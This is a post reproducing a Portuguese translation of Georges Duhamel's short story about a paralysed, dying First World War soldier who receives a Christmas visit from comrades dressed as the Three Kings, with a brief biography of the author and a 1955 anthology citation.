Contos de Natal – O Natal de Réchoussat (Georges Duhamel)

 

Entre os escritores revelados ao público pela primeira Grande Guerra, está Georges Duhamel, nascido em Paris em 1884.

Médico, biologista, homem de letras, não obstante ter nascido na capital da França, passou toda a infância na Província, pois o nomadismo do pai, que foi sucessivamente farmacêutico, botânico e médico, obrigou a família a residir aí por muito tempo.

"Eu era o sétimo de oito filhos e terei mudado de casa umas quarenta vezes" — disse êle uma vez, recor-dando-se da pobreza material da sua juventude.

Aos dezoito anos começou a estudar medicina, carreira que lhe deixou vestígios inapagáveis em sua maneira de compreender, de sentir e de expressar a vida. Cursou a Faculdade de Paris onde se doutorou em 1909. Porém, a sua verdadeira vocação era a literatura, na qual começou a destacar-se desde muito jovem. Viajou muito, sendo que, pela Suíça, fêz suas viagens a pé, não só por insuficiência pecuniária, senão também porque assim lograva um contacto mais familiar com os homens e os surpreendia na vida diária, que é onde melhor se manifesta a bondade humana.

Da obra de Duhamel destaca-se como porção mais considerável, a série de romances que forma o ciclo de Salavin, sucessão de estudos de psicologia pesquisada na alma dos humildes e dos medíocres.

Durante a guerra de 1914 Duhamel esteve nas frentes de batalha e das impressões ali colhidas deu-nos dois livros ("Vida de Mártires" e "Civilização") que constituem violentos libelos contra a guerra e seus provocadores.

Faz parte da Academia Francesa e da Academia de Medicina.

O Natal de Réchoussat

Georges Duhamel

Réchoussat

ÉCHOUSSAT repetia, com um riso fininho e constrangido:

— Eu te juro que eles não vêm.

O cabo Têtard fingiu não entender e foi arranjando, sobre a mesa, todo o material; as compressas, o óleo, as luvas de borracha, que pareciam um pouco luvas de esgrima, as sondas guardadas dentro de um tubo como grandes favas de baunilha, a baciazinha de ferro esmaltado que parecia um enorme feijão e o recipiente de vidro, ventrudo. de largo bocal, que não se parecia com coisa alguma.

Réchoussat fêz um arzinho displicente:

— Eles podem não vir, se quiserem. Para mim dá no mesmo.

O cabo Têtard deu de ombros e respondeu:

— Pois se eu estou te dizendo que eles vêm! O ferido balançou obstinadamente a cabeça:

— Aqui, meu caro, não vem ninguém. Todo esse pessoal que passa lá por baixo, podes estar certo, nunca chega até aqui. Eu te digo isso, mas pouco estou me importando.

— Podes ter certeza de que eles virão.

— Depois, não entendo porque me botaram neste quartinho, eu só.

— Talvez porque precisa de sossego. . .

— Mas não penses que me faz diferença, o eles virem ou não.

Réchoussat franziu o senho, para mostrar que não perdera o ânimo. E acrescentou, suspirando:

— )á podes começar os teus passos. . .

Justamente o cabo Têtard estava pronto. Acendeu um toco de vela e puxou os lençóis da cama de uma só vez.

O corpo de Réchoussat apareceu, extraordinariamente magro. Mas Têtard nem prestava mais atenção a isso e Réchoussat há três meses que vivia satisfatoriamente com a sua desgraça. Êle bem sabia que um estilhaço de granada nas costas é sempre coisa perigosa, e que, quando se tem as pernas e o ventre paralisados, não se sara assim de um dia para o outro. Contudo, no momento em que a sonda o penetrou, disse a frase sacramental, a que repetia duas vezes diariamente:

— Como é triste não poder fazer sozinho as próprias necessidades!

Mas a sonda já estava no lugar. O recipiente de vidro ia se tingindo de âmbar turvo e um cheiro forte e agudo se espalhando pelo quarto em que o moribundo vegetava em solidão.

— Isso te alivia? .— perguntou Têtard.

— Alivia, sim… Já são seis horas e eles ainda não vieram. Ainda bem que nem estou reparando.

O cabo não respondeu; esfregou com ar encabulado uma luva contra outra. Acorrentada ao pavio, a chama da vela pulava e fazia esforços, como uma pobre prisioneira que desejasse libertar-se e subir sozinha pelo ar sombrio do quarto e ir além, mais alto, mais alto, ao céu de inverno, às regiões em que já não se escuta o ruído da guerra entre os homens. O enfermeiro e o ferido olhavam a chama em silêncio, com olhos arregalados e vazios. O recipiente de vidro desfiava um murmüriozinho líquido. De segundo a segundo o canhão distante dava um piparote nas vidraças e, toda vez, a chama da vela tinha como que um estremecimento nervoso.

— Como demora! Não sentes frio? •— perguntou Têtard.

— Na parte inferior do corpo não sei mais o que é frio ou quente.

— Hás de sarar.

— É. . . hei de sarar. Está morto, mas é preciso que volte a viver. Tenho vinte e cinco anos, uma idade em que a carne é vigorosa.

O cabo mexeu a cabeça, perplexo, pois o achava muito acabado. Réchoussat tinha chagas enormes em todas as partes do corpo que tocavam o leito, e havia sido isolado para poupar aos camaradas mais felizes o espetáculo da sua longa agonia.

Um momento comprido passou. O silêncio era espesso demais para os nadas que tinham a dizer-se. Depois, como prosseguindo uma discussão interior, Réchoussat disse repentinamente:

— Mas você bem sabe que eu me contento com qualquer coisa. . . Se eles tivessem vindo ao menos por dois minutos. . .

— Quieto! — disse Têtard. — Ssssssssssst!

E alongou a cabeça para a porta. Do corredor veio um burburinho confuso e baforadas de sombra e de ar fresco.

— Pronto! Eles já estão aí! — disse o enfermeiro. Réchoussat esticou o pescoço.

— Qual! não é não. ..

Subitamente uma luz sobrenatural, rica de reflexos vermelhos e dourados rompeu do corredor. A parede em frente apareceu; quase sempre cinzenta com os amôres–perfeitos de dezembro, tomou, de repente, o esplendor de um palácio oriental ou de um vestido de princesa. Toda essa claridade fazia barulho, um barulho de vozes alegres e de riso. Não se ouvia ninguém cantar, mas o barulho inteirinho tinha o jeito de uma imensa canção. Réchoussat, que não se podia mexer, as mãos acima dos lençóis, como querendo pegar esse lindo barulho e essa linda claridade.

— Então, então! -— dizia Têtard. .— Eu bem te falei que eles viriam!

Aí houve um verdadeiro brasido. Alguma coisa havia parado na porta, alguma coisa que era uma árvore, um legítimo pinheiro da floresta trazido dentro de uma caixa verde. E havia tantas lanternas e tantas velas côr-de-rosa nos galhos, que êle parecia uma enorme tocha. O quarti-

nho, como um coração excessivamente feliz, deu a impressão de que ia explodir com tanta luz interior. Mas ainda havia coisa mais bela: os- Três Reis Magos entraram. Eram Sorri, atirador senegalês, Moussa e Cazin. Traziam mantas de Andrinopla e longas barbas brancas feitas de algodão para curativo.

Todos entraram e vieram até o fundo do quarto de Réchoussat. Sorri trazia um pacote amarrado com uma fita; Moussa- brandia dois charutos e Cazin uma garrafa de champanha. Todos os três cumprimentaram cerimoniosamente, como lhes haviam ensinado, e Réchoussat viu-se de repente com uma caixa de bombons na mão direita, dois charutos na esquerda e um quartinho cheio de vinho em cima da mesa. Réchoussat dizia:

— Ah! mas que gente! Isso, sim, é que é! Mas que gente!

Moussa e Cazin davam risadas; Sorri mostrava os dentes, e todo o mau cheiro do quarto partiu, como se houvesse bastado um pouco de luz para o expulsar.

— Ah! mas que gente! — repetia Réchoussat. — Eu não fumo, mas vou guardar os dois charutos como lembrança. E dá cá a champanha!

Sorri pegou o quartinho com ambas as mãos e o ofereceu exatamente como se fosse uma taça sagrada. Réchoussat bebeu mansamente, dizendo:

— Esta, sim, é boa! Esta é da boa!

Na porta mostravam-se mais de vinte rostos e todos eles riam, como a mansa fisionomia ingênua de Réchoussat.

Depois houve um verdadeiro pôr de sol. A árvore maravilhosa afastou-se, aos solavancos, pelo corredor. Os Reis Magos desapareceram e a cauda de suas mantas e as suas barbas de algodão. Réchoussat continuava a segurar com as duas mãos o quartinho e a contemplar a vela, como se todas as luminosidades ali tivessem ficado. Ria lentamente, repetindo: "— Esta, sim, é da boa!". Depois, continuou a rir mais um pouco sem nada dizer.

Devagarinho, a sombra voltou ao quarto e se instalou por toda parte, como um animal doméstico que foi perturbado em seus hábitos.

Com ela, uma triste coisa se insinuou por toda parte: o cheiro da enfermidade de Réchoussat. Um silêncio sussurrante foi-se depositando sobre todos os objetos, como poeira. O rosto do ferido deixou de refletir o esplendor da árvore festiva; abaixou a cabeça, olhou o leito, as pernas magras e ulceradas que eram as suas pernas, o recipiente de vidro cheio de líquido turvo, a sonda, todas essas coisas incompreensíveis, e disse, gaguejando de espanto:

— Mas… mas… que é isso? Que é isso, afinal?

homem dormindo no natal

Fonte: Livro de Natal – Livraria Martins Editora. Ilustrações de R. Zamboni. Seleção e Notas de Araújo Nabuco, 1955.

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